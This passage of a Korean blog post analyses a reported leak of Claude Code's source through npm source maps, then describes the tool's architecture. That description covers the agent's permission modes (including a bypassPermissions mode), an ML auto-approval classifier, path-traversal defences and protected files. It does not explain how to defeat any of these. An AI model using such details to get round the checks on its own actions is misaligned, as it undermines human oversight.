&lt;p data-ke-size=&quot;size16&quot;&gt;TypeScript나 JavaScript 코드를 배포할 때는 보통 다음 과정을 거친다:&lt;/p&gt;
&lt;ol style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;TypeScript 컴파일&lt;/b&gt; &amp;mdash; .ts 파일을 .js로 변환&lt;/li&gt;
&lt;li&gt;&lt;b&gt;번들링 + 최소화(minification)&lt;/b&gt; &amp;mdash; 여러 파일을 하나로 합치고 변수명을 짧게 압축&lt;/li&gt;
&lt;li&gt;&lt;b&gt;(선택) 소스맵 생성&lt;/b&gt; &amp;mdash; 압축된 코드와 원본 소스의 위치를 매핑한 .map 파일 생성&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스맵은 원래 개발자 도구(DevTools)에서 디버깅할 때 &quot;압축된 코드 line 1, column 5432&quot; 대신 &quot;원본 파일 auth.ts line 42&quot;처럼 보여주기 위한 도구다. 프로덕션 배포 시에는 포함하지 않거나, 내부 서버에만 배포하는 것이 관례다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;version&quot;: 3,
  &quot;file&quot;: &quot;cli.js&quot;,
  &quot;sources&quot;: [
    &quot;../../src/main.tsx&quot;,
    &quot;../../src/agent/pipeline.ts&quot;,
    &quot;../../src/tools/bash.ts&quot;
    // ... 1,906개 파일
  ],
  &quot;sourcesContent&quot;: [
    // &amp;larr; 여기에 원본 TypeScript 소스 전체가 문자열로 포함됨
    &quot;import React from 'react';\nimport { render } from 'ink';\n...&quot;
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code의 빌더인 Bun은 기본 설정에서 소스맵을 생성한다. 배포 파이프라인에서 이를 명시적으로 제외하지 않으면 npm 패키지에 그대로 포함된다. 이것이 바로 이번 사건의 원인이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #28a745; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 원인 요약&lt;/b&gt;&lt;br /&gt;&quot;해킹&quot;이 아니다. Bun 빌더의 기본 소스맵 생성 + npm publish 파이프라인에서 &lt;code&gt;.npmignore&lt;/code&gt; 또는 &lt;code&gt;package.json&lt;/code&gt;의 &lt;code&gt;files&lt;/code&gt; 필드로 제외하지 않아 발생한 설정 누락 오류다. &lt;br /&gt;(출처: &lt;a href=&quot;https://saudishopper.com.sa/en/claude-code-source-leak-npm-source-map/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Saudi Shopper 분석&lt;/a&gt;)&lt;/div&gt;
&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 두 번째 유출 &amp;mdash; 왜 반복됐나&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번이 처음이 아니다. 놀랍게도 수백 개 버전을 사이에 두고 똑같은 일이 반복됐다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1026&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oueAw/dJMcacvQbNF/1UNkYBNysGciCA4EUjGz91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oueAw/dJMcacvQbNF/1UNkYBNysGciCA4EUjGz91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oueAw/dJMcacvQbNF/1UNkYBNysGciCA4EUjGz91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoueAw%2FdJMcacvQbNF%2F1UNkYBNysGciCA4EUjGz91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1026&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1026&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;두 사건 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;1차 유출 (2025-02-24)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;2차 유출 (2026-03-31)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;방식&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;인라인 base64 인코딩 소스맵&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;별도 파일 &lt;code&gt;cli.js.map&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;발견자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Dave Shoemaker&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Chaofan Shou (@Fried_rice)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;크기&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;약 1,800만 자 (base64)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;59.8MB 파일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 대응 시간&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;약 2시간 내 제거&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;패키지 업데이트 및 구버전 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;추가 영향 패키지&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;@anthropic-ai/claude-agent-sdk&lt;/code&gt;도 포함 &lt;span style=&quot;color: #856404;&quot;&gt;[UNVERIFIED &amp;mdash; 복수 소스에서 미확인]&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 아카이브&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Daniel Nakov GitHub 저장소&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Kuberwastaken, instructkr, nirholas 외 다수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 요약: 1차에서는 인라인 base64 방식이 문제였고, 2차에서는 별도 파일 방식이 문제였다. 배포 방식은 바뀌었지만 근본 원인(소스맵 제외 로직 누락)은 동일했다.&lt;/i&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 교훈&lt;/b&gt;&lt;br /&gt;Bun 번들러는 기본적으로 소스맵을 생성한다. npm 패키지를 배포할 때 &lt;code&gt;package.json&lt;/code&gt;의 &lt;code&gt;files&lt;/code&gt; 필드 또는 &lt;code&gt;.npmignore&lt;/code&gt;에서 &lt;code&gt;*.map&lt;/code&gt; 파일을 명시적으로 제외해야 한다. 이 누락이 수백 개 버전 동안 수정되지 않아 두 번째 사고를 만들었다. [UNVERIFIED &amp;mdash; 두 유출 사이의 정확한 릴리스 수는 npm 레지스트리에서 직접 확인 필요]&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 유출 규모와 기술 스택 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드가 드러낸 첫 번째 사실은 Claude Code가 얼마나 정교하게 설계됐는지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;코드베이스 규모 (2026-03-31 기준)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TypeScript/TSX 파일&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;1,906개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;총 코드 줄 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;512,000줄+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;디렉토리 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;55개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;엔트리포인트 파일 크기&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;main.tsx&lt;/code&gt; &amp;mdash; 785KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;최대 단일 모듈&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Query Engine &amp;mdash; 46,000줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Tool 기반 코드&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;29,000줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;내장 도구 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;40개+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;슬래시 커맨드 수&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;50개+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;기술 스택: 예상 밖의 선택들&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 개발자가 가장 놀란 부분은 기술 선택이었다. Node.js를 쓸 것이라는 예상을 깨고 훨씬 현대적인 스택을 사용했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rf0ZI/dJMcabwTla8/uJgeUumLrLkrtRXeGWBht0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rf0ZI/dJMcabwTla8/uJgeUumLrLkrtRXeGWBht0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rf0ZI/dJMcabwTla8/uJgeUumLrLkrtRXeGWBht0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frf0ZI%2FdJMcabwTla8%2FuJgeUumLrLkrtRXeGWBht0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;1070&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;레이어&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기술&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;선택 이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;런타임&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Bun&lt;/b&gt; (Node.js 아님)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Dead code elimination, 빠른 시작 시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;터미널 UI&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React + Ink&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;컴포넌트 기반 터미널 렌더링, 상태 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;유효성 검사&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Zod v4&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;API 응답, 설정, 입력값 스키마 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;모듈 로딩&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;지연 로딩(Lazy Load)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;OpenTelemetry, gRPC 등 무거운 의존성 지연 로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;옵저버빌리티&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Datadog&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;감정 신호, 세션 메타데이터, 모델 사용 로그 전송&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;인증&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OAuth + API 키&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;대화형 세션 / CI&amp;middot;비대화형 시나리오 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 5 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 핵심 아키텍처: 드러난 설계의 비밀&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 파이프라인 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 큰 단일 모듈인 Query Engine(46,000줄)은 LLM API 호출, 스트리밍, 캐싱, 전체 오케스트레이션을 담당한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도구 시스템은 29,000줄의 TypeScript로 구성된 플러그인 아키텍처로, 각 도구는 권한 게이트(permission gate)를 통과해야 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한 모드는 4가지로 정의된다:&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mmbyE/dJMcaax0Tz3/V66GKY5YZ14rkaEbdXweQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mmbyE/dJMcaax0Tz3/V66GKY5YZ14rkaEbdXweQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mmbyE/dJMcaax0Tz3/V66GKY5YZ14rkaEbdXweQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmmbyE%2FdJMcaax0Tz3%2FV66GKY5YZ14rkaEbdXweQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1072&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;모든 액션에 사용자 승인 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;acceptEdits&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;파일 변경 자동 적용, 셸 명령은 승인 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;plan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;실행 전 계획 승인 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;bypassPermissions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;제한 없음 (샌드박스 전용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도구 액션은 LOW/MEDIUM/HIGH 위험도로 분류되며, &lt;b&gt;YOLO Classifier&lt;/b&gt;라는 ML 기반 자동 승인 모듈이 저위험 액션을 자동 처리한다. 경로 순회 공격 방지(Unicode 정규화, 백슬래시 주입 차단)와 보호 파일 목록(&lt;code&gt;.gitconfig&lt;/code&gt;, &lt;code&gt;.bashrc&lt;/code&gt;, &lt;code&gt;.mcp.json&lt;/code&gt;)도 코드에서 확인됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;에이전트 루프 내부 동작 &amp;mdash; 6단계&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3eH6p/dJMcahDRTXl/xF7QOC2ilKsYbVkpcxE12K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3eH6p/dJMcahDRTXl/xF7QOC2ilKsYbVkpcxE12K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3eH6p/dJMcahDRTXl/xF7QOC2ilKsYbVkpcxE12K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3eH6p%2FdJMcahDRTXl%2FxF7QOC2ilKsYbVkpcxE12K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1066&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;유출 코드 분석을 토대로 작성된 &lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/concepts/how-it-works&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;커뮤니티 아키텍처 문서&lt;/a&gt;는 Claude Code의 매 턴이 다음 6단계로 실행됨을 보여준다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;소스 구현&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;① 메시지 수신&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;대화형(REPL) 또는 &lt;code&gt;--print&lt;/code&gt;/stdin 비대화형 모드로 입력 수신, 대화 이력에 추가&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;React/Ink UI 또는 stdout&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;② 컨텍스트 조립&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;API 호출 전 시스템 프롬프트 구성 &amp;mdash; 현재 날짜, Git 상태(&lt;code&gt;git status --short&lt;/code&gt; 2000자 제한), 최근 커밋 5개, CLAUDE.md, 도구 목록&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;context.ts&lt;/code&gt; &amp;mdash; &lt;code&gt;lodash/memoize&lt;/code&gt;로 대화당 1회만 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;③ 모델 추론&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic API로 대화 전송 &amp;rarr; 모델이 &lt;code&gt;tool_use&lt;/code&gt; 블록(도구명 + JSON 입력) 생성&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;query.ts&lt;/code&gt; &amp;mdash; 토큰 스트리밍, 턴별 예산 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;④ 권한 확인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;각 도구의 &lt;code&gt;checkPermissions()&lt;/code&gt;가 allow/ask/deny 결정. Read&amp;middot;Glob&amp;middot;Grep은 모든 모드에서 자동 승인&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;권한 모드 4가지 (위 표 참조)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
